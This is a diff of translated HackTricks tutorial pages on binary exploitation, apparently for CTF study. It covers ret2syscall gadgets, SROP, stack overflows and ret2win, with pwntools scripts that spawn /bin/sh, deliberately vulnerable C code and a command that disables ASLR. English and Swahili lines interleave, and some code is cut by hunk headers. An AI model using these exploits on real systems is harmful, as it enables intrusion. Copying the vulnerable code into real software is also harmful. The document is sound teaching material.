Ili kuandaa wito wa **syscall** inahitajika usanidi ufuatao:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
Kwa kutumia ROPgadget.py niliweza kupata vifaa vifuatavyo katika maktaba ya libc ya mashine:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
Kwa vifaa vilivyotangulia tunaweza kudhibiti register zote zinazohitajika kutoka kwenye stack na kutumia x5 kuruka kwenye kifaa cha pili kuita syscall.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> Kumbuka kwamba kujua habari hii kutoka kwa maktaba ya libc pia inaruhusu kufanya shambulio la ret2libc, lakini hebu tutumie kwa mfano huu wa sasa.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,22 @@
## Basic Information
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`** ni **syscall** maalum inayotumika hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa kutumia **signal handler**, kazi maalum iliyoundwa kushughulikia ishara.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
Baada ya mhandisi wa ishara kumaliza, programu inahitaji **kurudi katika hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mhandisi wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na vigezo vya ndani) ambayo ilitumika na mhandisi wa ishara.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
Sehemu ya kuvutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **maadili yote ya register za CPU kwenye stack.** Wakati ishara haitazuiwi tena, **`sigreturn` inatoa maadili haya kutoka kwenye stack**, kwa ufanisi ikirekebisha register za CPU katika hali yao kabla ya ishara kushughulikiwa. Hii inajumuisha register ya pointer ya stack (RSP), ambayo inaelekeza kwenye kilele cha sasa cha stack.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iandike kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
Kumbuka jinsi hii ingekuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi zaidi kudhibiti vigezo ili kuita Ret2syscalls nyingine:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Ikiwa unavutiwa hii ni **muundo wa sigcontext** unaohifadhiwa kwenye stack ili baadaye kurejesha maadili (mchoro kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
Kwa maelezo bora angalia pia:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## Mfano
Unaweza [**kupata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) ambapo wito wa signeturn unajengwa kupitia ROP (kuweka katika rxa thamani `0xf`), ingawa hii ni exploit ya mwisho kutoka hapo:
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
Angalia pia [**exploit kutoka hapa**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) ambapo binary tayari ilikuwa ikitumia `sigreturn` na kwa hivyo si lazima kujenga hiyo na **ROP**:
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## Mifano Mingine & Marejeleo
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya binary.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** (binary ina mfuatano wa `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Ujanja rahisi wa buffer overflow ukitumia kazi ya `gets` kwa kukosa gadgets zinazofanya [**ret2syscall**](../rop-syscall-execv/). Mnyororo wa ROP unaandika `/bin/sh` kwenye `.bss` kwa kuita gets tena, unatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- Programu ya assembly ya 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Mchakato unaruhusu kuandika kwenye stack, kudhibiti register kadhaa, na kuita syscall kisha inaita `exit`. Syscall iliyochaguliwa ni `sigreturn` ambayo itapanga register na kuhamasisha `eip` ili kuita amri ya syscall ya awali na kuendesha `memprotect` kuweka nafasi ya binary kuwa `rwx` na kuweka ESP katika nafasi ya binary. Kufuatia mchakato, programu itaita kusoma ndani ya ESP tena, lakini katika kesi hii ESP itakuwa ikielekeza kwenye amri inayofuata hivyo kupitisha shellcode kutaiandika kama amri inayofuata na kuitekeleza.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP inatumika kutoa ruhusa za utekelezaji (memprotect) kwa mahali ambapo shellcode iliwekwa.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Mfano wa Pwntools
Mfano huu unaunda binary yenye udhaifu na kuifanya. Binary **inasoma kwenye stack** kisha inaita **`sigreturn`**:
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## mfano wa bof
## bof example
### Code
### Msimbo
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
Kusanya na:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
Exploiti inatumia bof kurudi kwenye wito wa **`sigreturn`** na kuandaa stack ili kuita **`execve`** na kiashiria cha `/bin/sh`.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## mfano wa bof bila sigreturn
## bof example without sigreturn
### Code
### Msimbo
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
Katika sehemu **`vdso`** inawezekana kupata wito kwa **`sigreturn`** katika ofseti **`0x7b0`**:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
Hivyo, ikiwa itavuja, inawezekana **kutumia anwani hii kufikia `sigreturn`** ikiwa binary haijaiweka:
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
Kwa maelezo zaidi kuhusu vdso angalia:
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira yanayolenga hiyo, kwa maelezo zaidi:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

View File

@ -4,35 +4,32 @@
## What is a Stack Overflow
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
A **stack overflow** ni udhaifu unaotokea wakati programu inapoandika data zaidi kwenye stack kuliko ilivyopewa kushikilia. Data hii ya ziada it **andika nafasi ya kumbukumbu iliyo karibu**, ikisababisha uharibifu wa data halali, kuingiliwa kwa mtiririko wa udhibiti, na kwa uwezekano wa kutekeleza msimbo mbaya. Tatizo hili mara nyingi linatokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye ingizo.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/RIP)** na **pointer ya msingi iliyohifadhiwa (EBP/RBP)** za kurudi kwenye kazi ya awali zime **hifadhiwa kwenye stack**. Hivyo, mshambuliaji ataweza kuandika tena hizo na **kudhibiti mtiririko wa utekelezaji wa programu**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia hatarishi ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa.
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Kupata Mipangilio ya Stack Overflows
### Finding Stack Overflows offsets
Njia ya kawaida zaidi ya kupata stack overflows ni kutoa ingizo kubwa la `A`s (kwa mfano `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kupata mipangilio hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu \_n**\_\*\* inaonekana mara moja tu\*\* kama subsequence iliyo karibu.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
Kwa njia hii, badala ya kuhitaji kubaini ni mipangilio ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kupata mipangilio ya bytes ambazo zilimaliza kufuta hiyo.
Inawezekana kutumia **pwntools** kwa hili:
```python
from pwn import *
@ -44,26 +41,23 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
or **GEF**:
au **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Kutumia Stack Overflows
## Exploiting Stack Overflows
Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyotaja** katika kiashiria hiki.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** kunaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuita (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
{{#ref}}
ret2win/
@ -71,15 +65,15 @@ ret2win/
### Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Katika hali hii mshambuliaji anaweza kuweka shellcode katika stack na kutumia EIP/RIP iliyo na udhibiti kuruka kwenye shellcode na kutekeleza msimbo wa kiholela:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### ROP & Ret2... mbinu
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
Mbinu hii ni muundo wa msingi wa kupita ulinzi mkuu wa mbinu iliyopita: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:
{{#ref}}
../rop-return-oriented-programing/
@ -87,15 +81,15 @@ This technique is the fundamental framework to bypass the main protection to the
## Heap Overflows
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
Overflow si kila wakati itakuwa katika stack, inaweza pia kuwa katika **heap** kwa mfano:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Types of protections
## Aina za ulinzi
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Kuna ulinzi kadhaa zinazojaribu kuzuia matumizi ya udhaifu, angalia katika:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -4,21 +4,21 @@
## String pointers
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
Ikiwa wito wa kazi utaenda kutumia anwani ya mfuatano iliyoko kwenye stack, inawezekana kutumia overflow ya buffer ili **kuandika upya anwani hii** na kuweka **anwani ya mfuatano tofauti** ndani ya binary.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
Ikiwa kwa mfano wito wa kazi **`system`** utaenda **kutumia anwani ya mfuatano kutekeleza amri**, mshambuliaji anaweza kuweka **anwani ya mfuatano tofauti kwenye stack**, **`export PATH=.:$PATH`** na kuunda kwenye saraka ya sasa **script yenye jina la herufi ya kwanza ya mfuatano mpya** kwani hii itatekelezwa na binary.
You can find an **example** of this in:
Unaweza kupata **mfano** wa hili katika:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
- 32bit, badilisha anwani kwa mfuatano wa bendera kwenye stack ili iweze kuchapishwa na `puts`
## Function pointers
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
Vivyo hivyo kama pointer ya mfuatano lakini ikitumia kazi, ikiwa **stack ina anwani ya kazi** ambayo itaitwa, inawezekana **kuibadilisha** (kwa mfano, kuita **`system`**).
You can find an example in:
Unaweza kupata mfano katika:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
**Ret2win** changamoto ni aina maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **binary exploitation**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyokuwa na mwito ndani ya binary, mara nyingi inayoitwa kitu kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huprinti bendera au ujumbe wa mafanikio. Changamoto hiyo kwa kawaida inahusisha kuandika upya **anwani ya kurudi** kwenye stack ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo ya kina zaidi na mifano:
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### Mfano wa C
Fikiria programu rahisi ya C yenye udhaifu na kazi ya `win` ambayo tunakusudia kuita:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
Ili kukusanya programu hii bila ulinzi wa stack na **ASLR** imezimwa, unaweza kutumia amri ifuatayo:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Jenga programu kama binary ya 32-bit (hii ni hiari lakini ni ya kawaida katika changamoto za CTF).
- `-fno-stack-protector`: Zima ulinzi dhidi ya stack overflows.
- `-z execstack`: Ruhusu utekelezaji wa msimbo kwenye stack.
- `-no-pie`: Zima Position Independent Executable ili kuhakikisha kwamba anwani ya kazi ya `win` haibadiliki.
- `-o vulnerable`: Patia faili ya matokeo jina `vulnerable`.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
### Python Exploit kutumia Pwntools
Kwa exploit, tutatumia **pwntools**, mfumo wenye nguvu wa CTF wa kuandika exploits. Skripti ya exploit itaunda payload ili kujaa buffer na kuandika anwani ya kurudi kwa anwani ya kazi ya `win`.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au chombo kingine chochote kinachokuruhusu kukagua faili za binary. Kwa mfano, kwa kutumia `objdump`, unaweza kutumia:
```sh
objdump -d vulnerable | grep win
```
Amri hii itaonyesha muundo wa `win` function, ikiwa ni pamoja na anwani yake ya kuanzia.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
Python script inatuma ujumbe ulioandaliwa kwa uangalifu ambao, unaposhughulikiwa na `vulnerable_function`, unavunja buffer na kuandika upya anwani ya kurudi kwenye stack kwa anwani ya `win`. Wakati `vulnerable_function` inarudi, badala ya kurudi kwa `main` au kutoka, inaruka kwenda `win`, na ujumbe unachapishwa.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## Ulinzi
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji kuwa na uvujaji ili kubaini wapi kazi ya win imepakiwa. Katika baadhi ya matukio, wakati kazi inayosababisha overflow ni `read` au sawa, unaweza kufanya **Partial Overwrite** ya byte 1 au 2 kubadilisha anwani ya kurudi kuwa kazi ya win. Kwa sababu ya jinsi ASLR inavyofanya kazi, nibble tatu za mwisho za hex hazijachanganywa, hivyo kuna **1/16 nafasi** (1 nibble) ya kupata anwani sahihi ya kurudi.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
## Mifano Mingine & Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32bit, hakuna ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
